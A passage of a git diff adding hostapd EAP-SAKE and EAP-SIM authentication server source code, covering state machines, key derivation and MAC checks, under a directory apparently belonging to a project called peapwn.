eap_sake_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_sake_data *data = priv; + + switch (data->state) { + case IDENTITY: + return eap_sake_build_identity(sm, data, id); + case CHALLENGE: + return eap_sake_build_challenge(sm, data, id); + case CONFIRM: + return eap_sake_build_confirm(sm, data, id); + default: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Unknown state %d in buildReq", + data->state); + break; + } + return NULL; +} + + +static Boolean eap_sake_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_sake_data *data = priv; + struct eap_sake_hdr *resp; + size_t len; + u8 version, session_id, subtype; + const u8 *pos; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_SAKE, respData, &len); + if (pos == NULL || len < sizeof(struct eap_sake_hdr)) { + wpa_printf(MSG_INFO, "EAP-SAKE: Invalid frame"); + return TRUE; + } + + resp = (struct eap_sake_hdr *) pos; + version = resp->version; + session_id = resp->session_id; + subtype = resp->subtype; + + if (version != EAP_SAKE_VERSION) { + wpa_printf(MSG_INFO, "EAP-SAKE: Unknown version %d", version); + return TRUE; + } + + if (session_id != data->session_id) { + wpa_printf(MSG_INFO, "EAP-SAKE: Session ID mismatch (%d,%d)", + session_id, data->session_id); + return TRUE; + } + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Received frame: subtype=%d", subtype); + + if (data->state == IDENTITY && subtype == EAP_SAKE_SUBTYPE_IDENTITY) + return FALSE; + + if (data->state == CHALLENGE && subtype == EAP_SAKE_SUBTYPE_CHALLENGE) + return FALSE; + + if (data->state == CONFIRM && subtype == EAP_SAKE_SUBTYPE_CONFIRM) + return FALSE; + + if (subtype == EAP_SAKE_SUBTYPE_AUTH_REJECT) + return FALSE; + + wpa_printf(MSG_INFO, "EAP-SAKE: Unexpected subtype=%d in state=%d", + subtype, data->state); + + return TRUE; +} + + +static void eap_sake_process_identity(struct eap_sm *sm, + struct eap_sake_data *data, + const struct wpabuf *respData, + const u8 *payload, size_t payloadlen) +{ + if (data->state != IDENTITY) + return; + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Received Response/Identity"); + /* TODO: update identity and select new user data */ + eap_sake_state(data, CHALLENGE); +} + + +static void eap_sake_process_challenge(struct eap_sm *sm, + struct eap_sake_data *data, + const struct wpabuf *respData, + const u8 *payload, size_t payloadlen) +{ + struct eap_sake_parse_attr attr; + u8 mic_p[EAP_SAKE_MIC_LEN]; + + if (data->state != CHALLENGE) + return; + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Received Response/Challenge"); + + if (eap_sake_parse_attributes(payload, payloadlen, &attr)) + return; + + if (!attr.rand_p || !attr.mic_p) { + wpa_printf(MSG_INFO, "EAP-SAKE: Response/Challenge did not " + "include AT_RAND_P or AT_MIC_P"); + return; + } + + os_memcpy(data->rand_p, attr.rand_p, EAP_SAKE_RAND_LEN); + + os_free(data->peerid); + data->peerid = NULL; + data->peerid_len = 0; + if (attr.peerid) { + data->peerid = os_malloc(attr.peerid_len); + if (data->peerid == NULL) + return; + os_memcpy(data->peerid, attr.peerid, attr.peerid_len); + data->peerid_len = attr.peerid_len; + } + + if (sm->user == NULL || sm->user->password == NULL || + sm->user->password_len != 2 * EAP_SAKE_ROOT_SECRET_LEN) { + wpa_printf(MSG_INFO, "EAP-SAKE: Plaintext password with " + "%d-byte key not configured", + 2 * EAP_SAKE_ROOT_SECRET_LEN); + data->state = FAILURE; + return; + } + eap_sake_derive_keys(sm->user->password, + sm->user->password + EAP_SAKE_ROOT_SECRET_LEN, + data->rand_s, data->rand_p, + (u8 *) &data->tek, data->msk, data->emsk); + + eap_sake_compute_mic(data->tek.auth, data->rand_s, data->rand_p, + sm->server_id, sm->server_id_len, + data->peerid, data->peerid_len, 1, + wpabuf_head(respData), wpabuf_len(respData), + attr.mic_p, mic_p); + if (os_memcmp(attr.mic_p, mic_p, EAP_SAKE_MIC_LEN) != 0) { + wpa_printf(MSG_INFO, "EAP-SAKE: Incorrect AT_MIC_P"); + eap_sake_state(data, FAILURE); + return; + } + + eap_sake_state(data, CONFIRM); +} + + +static void eap_sake_process_confirm(struct eap_sm *sm, + struct eap_sake_data *data, + const struct wpabuf *respData, + const u8 *payload, size_t payloadlen) +{ + struct eap_sake_parse_attr attr; + u8 mic_p[EAP_SAKE_MIC_LEN]; + + if (data->state != CONFIRM) + return; + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Received Response/Confirm"); + + if (eap_sake_parse_attributes(payload, payloadlen, &attr)) + return; + + if (!attr.mic_p) { + wpa_printf(MSG_INFO, "EAP-SAKE: Response/Confirm did not " + "include AT_MIC_P"); + return; + } + + eap_sake_compute_mic(data->tek.auth, data->rand_s, data->rand_p, + sm->server_id, sm->server_id_len, + data->peerid, data->peerid_len, 1, + wpabuf_head(respData), wpabuf_len(respData), + attr.mic_p, mic_p); + if (os_memcmp(attr.mic_p, mic_p, EAP_SAKE_MIC_LEN) != 0) { + wpa_printf(MSG_INFO, "EAP-SAKE: Incorrect AT_MIC_P"); + eap_sake_state(data, FAILURE); + } else + eap_sake_state(data, SUCCESS); +} + + +static void eap_sake_process_auth_reject(struct eap_sm *sm, + struct eap_sake_data *data, + const struct wpabuf *respData, + const u8 *payload, size_t payloadlen) +{ + wpa_printf(MSG_DEBUG, "EAP-SAKE: Received Response/Auth-Reject"); + eap_sake_state(data, FAILURE); +} + + +static void eap_sake_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_sake_data *data = priv; + struct eap_sake_hdr *resp; + u8 subtype; + size_t len; + const u8 *pos, *end; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_SAKE, respData, &len); + if (pos == NULL || len < sizeof(struct eap_sake_hdr)) + return; + + resp = (struct eap_sake_hdr *) pos; + end = pos + len; + subtype = resp->subtype; + pos = (u8 *) (resp + 1); + + wpa_hexdump(MSG_DEBUG, "EAP-SAKE: Received attributes", + pos, end - pos); + + switch (subtype) { + case EAP_SAKE_SUBTYPE_IDENTITY: + eap_sake_process_identity(sm, data, respData, pos, end - pos); + break; + case EAP_SAKE_SUBTYPE_CHALLENGE: + eap_sake_process_challenge(sm, data, respData, pos, end - pos); + break; + case EAP_SAKE_SUBTYPE_CONFIRM: + eap_sake_process_confirm(sm, data, respData, pos, end - pos); + break; + case EAP_SAKE_SUBTYPE_AUTH_REJECT: + eap_sake_process_auth_reject(sm, data, respData, pos, + end - pos); + break; + } +} + + +static Boolean eap_sake_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_sake_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_sake_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_sake_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->msk, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + + return key; +} + + +static u8 * eap_sake_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_sake_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + + return key; +} + + +static Boolean eap_sake_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_sake_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_sake_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_SAKE, "SAKE"); + if (eap == NULL) + return -1; + + eap->init = eap_sake_init; + eap->reset = eap_sake_reset; + eap->buildReq = eap_sake_buildReq; + eap->check = eap_sake_check; + eap->process = eap_sake_process; + eap->isDone = eap_sake_isDone; + eap->getKey = eap_sake_getKey; + eap->isSuccess = eap_sake_isSuccess; + eap->get_emsk = eap_sake_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_sim.c b/peapwn/mods/hostap/src/eap_server/eap_server_sim.c new file mode 100644 index 000000000..b531241e8 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_sim.c @@ -0,0 +1,847 @@ +/* + * hostapd / EAP-SIM (RFC 4186) + * Copyright (c) 2005-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/random.h" +#include "eap_server/eap_i.h" +#include "eap_common/eap_sim_common.h" +#include "eap_server/eap_sim_db.h" + + +struct eap_sim_data { + u8 mk[EAP_SIM_MK_LEN]; + u8 nonce_mt[EAP_SIM_NONCE_MT_LEN]; + u8 nonce_s[EAP_SIM_NONCE_S_LEN]; + u8 k_aut[EAP_SIM_K_AUT_LEN]; + u8 k_encr[EAP_SIM_K_ENCR_LEN]; + u8 msk[EAP_SIM_KEYING_DATA_LEN]; + u8 emsk[EAP_EMSK_LEN]; + u8 kc[EAP_SIM_MAX_CHAL][EAP_SIM_KC_LEN]; + u8 sres[EAP_SIM_MAX_CHAL][EAP_SIM_SRES_LEN]; + u8 rand[EAP_SIM_MAX_CHAL][GSM_RAND_LEN]; + int num_chal; + enum { + START, CHALLENGE, REAUTH, NOTIFICATION, SUCCESS, FAILURE + } state; + char *next_pseudonym; + char *next_reauth_id; + u16 counter; + struct eap_sim_reauth *reauth; + u16 notification; + int use_result_ind; + int start_round; + char permanent[20]; /* Permanent username */ +}; + + +static const char * eap_sim_state_txt(int state) +{ + switch (state) { + case START: + return "START"; + case CHALLENGE: + return "CHALLENGE"; + case REAUTH: + return "REAUTH"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + case NOTIFICATION: + return "NOTIFICATION"; + default: + return "Unknown?!"; + } +} + + +static void eap_sim_state(struct eap_sim_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-SIM: %s -> %s", + eap_sim_state_txt(data->state), + eap_sim_state_txt(state)); + data->state = state; +} + + +static void * eap_sim_init(struct eap_sm *sm) +{ + struct eap_sim_data *data; + + if (sm->eap_sim_db_priv == NULL) { + wpa_printf(MSG_WARNING, "EAP-SIM: eap_sim_db not configured"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = START; + + return data; +} + + +static void eap_sim_reset(struct eap_sm *sm, void *priv) +{ + struct eap_sim_data *data = priv; + os_free(data->next_pseudonym); + os_free(data->next_reauth_id); + os_free(data); +} + + +static struct wpabuf * eap_sim_build_start(struct eap_sm *sm, + struct eap_sim_data *data, u8 id) +{ + struct eap_sim_msg *msg; + u8 ver[2]; + + wpa_printf(MSG_DEBUG, "EAP-SIM: Generating Start"); + msg = eap_sim_msg_init(EAP_CODE_REQUEST, id, EAP_TYPE_SIM, + EAP_SIM_SUBTYPE_START); + data->start_round++; + if (data->start_round == 1) { + /* + * RFC 4186, Chap. 4.2.4 recommends that identity from EAP is + * ignored and the SIM/Start is used to request the identity. + */ + wpa_printf(MSG_DEBUG, " AT_ANY_ID_REQ"); + eap_sim_msg_add(msg, EAP_SIM_AT_ANY_ID_REQ, 0, NULL, 0); + } else if (data->start_round > 3) { + /* Cannot use more than three rounds of Start messages */ + eap_sim_msg_free(msg); + return NULL; + } else if (data->start_round == 0) { + /* + * This is a special case that is used to recover from + * AT_COUNTER_TOO_SMALL during re-authentication. Since we + * already know the identity of the peer, there is no need to + * request any identity in this case. + */ + } else if (sm->identity && sm->identity_len > 0 && + sm->identity[0] == EAP_SIM_REAUTH_ID_PREFIX) { + /* Reauth id may have expired - try fullauth */ + wpa_printf(MSG_DEBUG, " AT_FULLAUTH_ID_REQ"); + eap_sim_msg_add(msg, EAP_SIM_AT_FULLAUTH_ID_REQ, 0, NULL, 0); + } else { + wpa_printf(MSG_DEBUG, " AT_PERMANENT_ID_REQ"); + eap_sim_msg_add(msg, EAP_SIM_AT_PERMANENT_ID_REQ, 0, NULL, 0); + } + wpa_printf(MSG_DEBUG, " AT_VERSION_LIST"); + ver[0] = 0; + ver[1] = EAP_SIM_VERSION; + eap_sim_msg_add(msg, EAP_SIM_AT_VERSION_LIST, sizeof(ver), + ver, sizeof(ver)); + return eap_sim_msg_finish(msg, NULL, NULL, 0); +} + + +static int eap_sim_build_encr(struct eap_sm *sm, struct eap_sim_data *data, + struct eap_sim_msg *msg, u16 counter, + const u8 *nonce_s) +{ + os_free(data->next_pseudonym); + if (nonce_s == NULL) { + data->next_pseudonym = + eap_sim_db_get_next_pseudonym(sm->eap_sim_db_priv, + EAP_SIM_DB_SIM); + } else { + /* Do not update pseudonym during re-authentication */ + data->next_pseudonym = NULL; + } + os_free(data->next_reauth_id); + if (data->counter <= EAP_SIM_MAX_FAST_REAUTHS) { + data->next_reauth_id = + eap_sim_db_get_next_reauth_id(sm->eap_sim_db_priv, + EAP_SIM_DB_SIM); + } else { + wpa_printf(MSG_DEBUG, "EAP-SIM: Max fast re-authentication " + "count exceeded - force full authentication"); + data->next_reauth_id = NULL; + } + + if (data->next_pseudonym == NULL && data->next_reauth_id == NULL && + counter == 0 && nonce_s == NULL) + return 0; + + wpa_printf(MSG_DEBUG, " AT_IV"); + wpa_printf(MSG_DEBUG, " AT_ENCR_DATA"); + eap_sim_msg_add_encr_start(msg, EAP_SIM_AT_IV, EAP_SIM_AT_ENCR_DATA); + + if (counter > 0) { + wpa_printf(MSG_DEBUG, " *AT_COUNTER (%u)", counter); + eap_sim_msg_add(msg, EAP_SIM_AT_COUNTER, counter, NULL, 0); + } + + if (nonce_s) { + wpa_printf(MSG_DEBUG, " *AT_NONCE_S"); + eap_sim_msg_add(msg, EAP_SIM_AT_NONCE_S, 0, nonce_s, + EAP_SIM_NONCE_S_LEN); + } + + if (data->next_pseudonym) { + wpa_printf(MSG_DEBUG, " *AT_NEXT_PSEUDONYM (%s)", + data->next_pseudonym); + eap_sim_msg_add(msg, EAP_SIM_AT_NEXT_PSEUDONYM, + os_strlen(data->next_pseudonym), + (u8 *) data->next_pseudonym, + os_strlen(data->next_pseudonym)); + } + + if (data->next_reauth_id) { + wpa_printf(MSG_DEBUG, " *AT_NEXT_REAUTH_ID (%s)", + data->next_reauth_id); + eap_sim_msg_add(msg, EAP_SIM_AT_NEXT_REAUTH_ID, + os_strlen(data->next_reauth_id), + (u8 *) data->next_reauth_id, + os_strlen(data->next_reauth_id)); + } + + if (eap_sim_msg_add_encr_end(msg, data->k_encr, EAP_SIM_AT_PADDING)) { + wpa_printf(MSG_WARNING, "EAP-SIM: Failed to encrypt " + "AT_ENCR_DATA"); + return -1; + } + + return 0; +} + + +static struct wpabuf * eap_sim_build_challenge(struct eap_sm *sm, + struct eap_sim_data *data, + u8 id) +{ + struct eap_sim_msg *msg; + + wpa_printf(MSG_DEBUG, "EAP-SIM: Generating Challenge"); + msg = eap_sim_msg_init(EAP_CODE_REQUEST, id, EAP_TYPE_SIM, + EAP_SIM_SUBTYPE_CHALLENGE); + wpa_printf(MSG_DEBUG, " AT_RAND"); + eap_sim_msg_add(msg, EAP_SIM_AT_RAND, 0, (u8 *) data->rand, + data->num_chal * GSM_RAND_LEN); + + if (eap_sim_build_encr(sm, data, msg, 0, NULL)) { + eap_sim_msg_free(msg); + return NULL; + } + + if (sm->eap_sim_aka_result_ind) { + wpa_printf(MSG_DEBUG, " AT_RESULT_IND"); + eap_sim_msg_add(msg, EAP_SIM_AT_RESULT_IND, 0, NULL, 0); + } + + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + return eap_sim_msg_finish(msg, data->k_aut, data->nonce_mt, + EAP_SIM_NONCE_MT_LEN); +} + + +static struct wpabuf * eap_sim_build_reauth(struct eap_sm *sm, + struct eap_sim_data *data, u8 id) +{ + struct eap_sim_msg *msg; + + wpa_printf(MSG_DEBUG, "EAP-SIM: Generating Re-authentication"); + + if (random_get_bytes(data->nonce_s, EAP_SIM_NONCE_S_LEN)) + return NULL; + wpa_hexdump_key(MSG_MSGDUMP, "EAP-SIM: NONCE_S", + data->nonce_s, EAP_SIM_NONCE_S_LEN); + + eap_sim_derive_keys(data->mk, data->k_encr, data->k_aut, data->msk, + data->emsk); + eap_sim_derive_keys_reauth(data->counter, sm->identity, + sm->identity_len, data->nonce_s, data->mk, + data->msk, data->emsk); + + msg = eap_sim_msg_init(EAP_CODE_REQUEST, id, EAP_TYPE_SIM, + EAP_SIM_SUBTYPE_REAUTHENTICATION); + + if (eap_sim_build_encr(sm, data, msg, data->counter, data->nonce_s)) { + eap_sim_msg_free(msg); + return NULL; + } + + if (sm->eap_sim_aka_result_ind) { + wpa_printf(MSG_DEBUG, " AT_RESULT_IND"); + eap_sim_msg_add(msg, EAP_SIM_AT_RESULT_IND, 0, NULL, 0); + } + + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + return eap_sim_msg_finish(msg, data->k_aut, NULL, 0); +} + + +static struct wpabuf * eap_sim_build_notification(struct eap_sm *sm, + struct eap_sim_data *data, + u8 id) +{ + struct eap_sim_msg *msg; + + wpa_printf(MSG_DEBUG, "EAP-SIM: Generating Notification"); + msg = eap_sim_msg_init(EAP_CODE_REQUEST, id, EAP_TYPE_SIM, + EAP_SIM_SUBTYPE_NOTIFICATION); + wpa_printf(MSG_DEBUG, " AT_NOTIFICATION (%d)", data->notification); + eap_sim_msg_add(msg, EAP_SIM_AT_NOTIFICATION, data->notification, + NULL, 0); + if (data->use_result_ind) { + if (data->reauth) { + wpa_printf(MSG_DEBUG, " AT_IV"); + wpa_printf(MSG_DEBUG, " AT_ENCR_DATA"); + eap_sim_msg_add_encr_start(msg, EAP_SIM_AT_IV, + EAP_SIM_AT_ENCR_DATA); + wpa_printf(MSG_DEBUG, " *AT_COUNTER (%u)", + data->counter); + eap_sim_msg_add(msg, EAP_SIM_AT_COUNTER, data->counter, + NULL, 0); + + if (eap_sim_msg_add_encr_end(msg, data->k_encr, + EAP_SIM_AT_PADDING)) { + wpa_printf(MSG_WARNING, "EAP-SIM: Failed to " + "encrypt AT_ENCR_DATA"); + eap_sim_msg_free(msg); + return NULL; + } + } + + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + } + return eap_sim_msg_finish(msg, data->k_aut, NULL, 0); +} + + +static struct wpabuf * eap_sim_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_sim_data *data = priv; + + switch (data->state) { + case START: + return eap_sim_build_start(sm, data, id); + case CHALLENGE: + return eap_sim_build_challenge(sm, data, id); + case REAUTH: + return eap_sim_build_reauth(sm, data, id); + case NOTIFICATION: + return eap_sim_build_notification(sm, data, id); + default: + wpa_printf(MSG_DEBUG, "EAP-SIM: Unknown state %d in " + "buildReq", data->state); + break; + } + return NULL; +} + + +static Boolean eap_sim_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_SIM, respData, &len); + if (pos == NULL || len < 3) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static Boolean eap_sim_unexpected_subtype(struct eap_sim_data *data, + u8 subtype) +{ + if (subtype == EAP_SIM_SUBTYPE_CLIENT_ERROR) + return FALSE; + + switch (data->state) { + case START: + if (subtype != EAP_SIM_SUBTYPE_START) { + wpa_printf(MSG_INFO, "EAP-SIM: Unexpected response " + "subtype %d", subtype); + return TRUE; + } + break; + case CHALLENGE: + if (subtype != EAP_SIM_SUBTYPE_CHALLENGE) { + wpa_printf(MSG_INFO, "EAP-SIM: Unexpected response " + "subtype %d", subtype); + return TRUE; + } + break; + case REAUTH: + if (subtype != EAP_SIM_SUBTYPE_REAUTHENTICATION) { + wpa_printf(MSG_INFO, "EAP-SIM: Unexpected response " + "subtype %d", subtype); + return TRUE; + } + break; + case NOTIFICATION: + if (subtype != EAP_SIM_SUBTYPE_NOTIFICATION) { + wpa_printf(MSG_INFO, "EAP-SIM: Unexpected response " + "subtype %d", subtype); + return TRUE; + } + break; + default: + wpa_printf(MSG_INFO, "EAP-SIM: Unexpected state (%d) for " + "processing a response", data->state); + return TRUE; + } + + return FALSE; +} + + +static int eap_sim_supported_ver(struct eap_sim_data *data, int version) +{ + return version == EAP_SIM_VERSION; +} + + +static void eap_sim_process_start(struct eap_sm *sm, + struct eap_sim_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + size_t identity_len; + u8 ver_list[2]; + u8 *new_identity; + char *username; + + wpa_printf(MSG_DEBUG, "EAP-SIM: Receive start response"); + + if (data->start_round == 0) { + /* + * Special case for AT_COUNTER_TOO_SMALL recovery - no identity + * was requested since we already know it. + */ + goto skip_id_update; + } + + /* + * We always request identity in SIM/Start, so the peer is required to + * have replied with one. + */ + if (!attr->identity || attr->identity_len == 0) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Peer did not provide any " + "identity"); + goto failed; + } + + new_identity = os_malloc(attr->identity_len); + if (new_identity == NULL) + goto failed; + os_free(sm->identity); + sm->identity = new_identity; + os_memcpy(sm->identity, attr->identity, attr->identity_len); + sm->identity_len = attr->identity_len; + + wpa_hexdump_ascii(MSG_DEBUG, "EAP-SIM: Identity", + sm->identity, sm->identity_len); + username = sim_get_username(sm->identity, sm->identity_len); + if (username == NULL) + goto failed; + + if (username[0] == EAP_SIM_REAUTH_ID_PREFIX) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Reauth username '%s'", + username); + data->reauth = eap_sim_db_get_reauth_entry( + sm->eap_sim_db_priv, username); + os_free(username); + if (data->reauth == NULL) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Unknown reauth " + "identity - request full auth identity"); + /* Remain in START state for another round */ + return; + } + wpa_printf(MSG_DEBUG, "EAP-SIM: Using fast re-authentication"); + os_strlcpy(data->permanent, data->reauth->permanent, + sizeof(data->permanent)); + data->counter = data->reauth->counter; + os_memcpy(data->mk, data->reauth->mk, EAP_SIM_MK_LEN); + eap_sim_state(data, REAUTH); + return; + } + + if (username[0] == EAP_SIM_PSEUDONYM_PREFIX) { + const char *permanent; + wpa_printf(MSG_DEBUG, "EAP-SIM: Pseudonym username '%s'", + username); + permanent = eap_sim_db_get_permanent( + sm->eap_sim_db_priv, username); + os_free(username); + if (permanent == NULL) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Unknown pseudonym " + "identity - request permanent identity"); + /* Remain in START state for another round */ + return; + } + os_strlcpy(data->permanent, permanent, + sizeof(data->permanent)); + } else if (username[0] == EAP_SIM_PERMANENT_PREFIX) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Permanent username '%s'", + username); + os_strlcpy(data->permanent, username, sizeof(data->permanent)); + os_free(username); + } else { + wpa_printf(MSG_DEBUG, "EAP-SIM: Unrecognized username '%s'", + username); + os_free(username); + goto failed; + } + +skip_id_update: + /* Full authentication */ + + if (attr->nonce_mt == NULL || attr->selected_version < 0) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Start/Response missing " + "required attributes"); + goto failed; + } + + if (!eap_sim_supported_ver(data, attr->selected_version)) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Peer selected unsupported " + "version %d", attr->selected_version); + goto failed; + } + + data->counter = 0; /* reset re-auth counter since this is full auth */ + data->reauth = NULL; + + data->num_chal = eap_sim_db_get_gsm_triplets( + sm->eap_sim_db_priv, data->permanent, EAP_SIM_MAX_CHAL, + (u8 *) data->rand, (u8 *) data->kc, (u8 *) data->sres, sm); + if (data->num_chal == EAP_SIM_DB_PENDING) { + wpa_printf(MSG_DEBUG, "EAP-SIM: GSM authentication triplets " + "not yet available - pending request"); + sm->method_pending = METHOD_PENDING_WAIT; + return; + } + if (data->num_chal < 2) { + wpa_printf(MSG_INFO, "EAP-SIM: Failed to get GSM " + "authentication triplets for the peer"); + goto failed; + } + + identity_len = sm->identity_len; + while (identity_len > 0 && sm->identity[identity_len - 1] == '\0') { + wpa_printf(MSG_DEBUG, "EAP-SIM: Workaround - drop last null " + "character from identity"); + identity_len--; + } + wpa_hexdump_ascii(MSG_DEBUG, "EAP-SIM: Identity for MK derivation", + sm->identity, identity_len); + + os_memcpy(data->nonce_mt, attr->nonce_mt, EAP_SIM_NONCE_MT_LEN); + WPA_PUT_BE16(ver_list, EAP_SIM_VERSION); + eap_sim_derive_mk(sm->identity, identity_len, attr->nonce_mt, + attr->selected_version, ver_list, sizeof(ver_list), + data->num_chal, (const u8 *) data->kc, data->mk); + eap_sim_derive_keys(data->mk, data->k_encr, data->k_aut, data->msk, + data->emsk); + + eap_sim_state(data, CHALLENGE); + return; + +failed: + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_sim_state(data, NOTIFICATION); +} + + +static void eap_sim_process_challenge(struct eap_sm *sm, + struct eap_sim_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + if (attr->mac == NULL || + eap_sim_verify_mac(data->k_aut, respData, attr->mac, + (u8 *) data->sres, + data->num_chal * EAP_SIM_SRES_LEN)) { + wpa_printf(MSG_WARNING, "EAP-SIM: Challenge message " + "did not include valid AT_MAC"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_sim_state(data, NOTIFICATION); + return; + } + + wpa_printf(MSG_DEBUG, "EAP-SIM: Challenge response includes the " + "correct AT_MAC"); + if (sm->eap_sim_aka_result_ind && attr->result_ind) { + data->use_result_ind = 1; + data->notification = EAP_SIM_SUCCESS; + eap_sim_state(data, NOTIFICATION); + } else + eap_sim_state(data, SUCCESS); + + if (data->next_pseudonym) { + eap_sim_db_add_pseudonym(sm->eap_sim_db_priv, data->permanent, + data->next_pseudonym); + data->next_pseudonym = NULL; + } + if (data->next_reauth_id) { + eap_sim_db_add_reauth(sm->eap_sim_db_priv, data->permanent, + data->next_reauth_id, data->counter + 1, + data->mk); + data->next_reauth_id = NULL; + } +} + + +static void eap_sim_process_reauth(struct eap_sm *sm, + struct eap_sim_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + struct eap_sim_attrs eattr; + u8 *decrypted = NULL; + + if (attr->mac == NULL || + eap_sim_verify_mac(data->k_aut, respData, attr->mac, data->nonce_s, + EAP_SIM_NONCE_S_LEN)) { + wpa_printf(MSG_WARNING, "EAP-SIM: Re-authentication message " + "did not include valid AT_MAC"); + goto fail; + } + + if (attr->encr_data == NULL || attr->iv == NULL) { + wpa_printf(MSG_WARNING, "EAP-SIM: Reauthentication " + "message did not include encrypted data"); + goto fail; + } + + decrypted = eap_sim_parse_encr(data->k_encr, attr->encr_data, + attr->encr_data_len, attr->iv, &eattr, + 0); + if (decrypted == NULL) { + wpa_printf(MSG_WARNING, "EAP-SIM: Failed to parse encrypted " + "data from reauthentication message"); + goto fail; + } + + if (eattr.counter != data->counter) { + wpa_printf(MSG_WARNING, "EAP-SIM: Re-authentication message " + "used incorrect counter %u, expected %u", + eattr.counter, data->counter); + goto fail; + } + os_free(decrypted); + decrypted = NULL; + + wpa_printf(MSG_DEBUG, "EAP-SIM: Re-authentication response includes " + "the correct AT_MAC"); + + if (eattr.counter_too_small) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Re-authentication response " + "included AT_COUNTER_TOO_SMALL - starting full " + "authentication"); + data->start_round = -1; + eap_sim_state(data, START); + return; + } + + if (sm->eap_sim_aka_result_ind && attr->result_ind) { + data->use_result_ind = 1; + data->notification = EAP_SIM_SUCCESS; + eap_sim_state(data, NOTIFICATION); + } else + eap_sim_state(data, SUCCESS); + + if (data->next_reauth_id) { + eap_sim_db_add_reauth(sm->eap_sim_db_priv, data->permanent, + data->next_reauth_id, + data->counter + 1, data->mk); + data->next_reauth_id = NULL; + } else { + eap_sim_db_remove_reauth(sm->eap_sim_db_priv, data->reauth); + data->reauth = NULL; + } + + return; + +fail: + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_sim_state(data, NOTIFICATION); + eap_sim_db_remove_reauth(sm->eap_sim_db_priv, data->reauth); + data->reauth = NULL; + os_free(decrypted); +} + + +static void eap_sim_process_client_error(struct eap_sm *sm, + struct eap_sim_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + wpa_printf(MSG_DEBUG, "EAP-SIM: Client reported error %d", + attr->client_error_code); + if (data->notification == EAP_SIM_SUCCESS && data->use_result_ind) + eap_sim_state(data, SUCCESS); + else + eap_sim_state(data, FAILURE); +} + + +static void eap_sim_process_notification(struct eap_sm *sm, + struct eap_sim_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + wpa_printf(MSG_DEBUG, "EAP-SIM: Client replied to notification"); + if (data->notification == EAP_SIM_SUCCESS && data->use_result_ind) + eap_sim_state(data, SUCCESS); + else + eap_sim_state(data, FAILURE); +} + + +static void eap_sim_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_sim_data *data = priv; + const u8 *pos, *end; + u8 subtype; + size_t len; + struct eap_sim_attrs attr; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_SIM, respData, &len); + if (pos == NULL || len < 3) + return; + + end = pos + len; + subtype = *pos; + pos += 3; + + if (eap_sim_unexpected_subtype(data, subtype)) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Unrecognized or unexpected " + "EAP-SIM Subtype in EAP Response"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_sim_state(data, NOTIFICATION); + 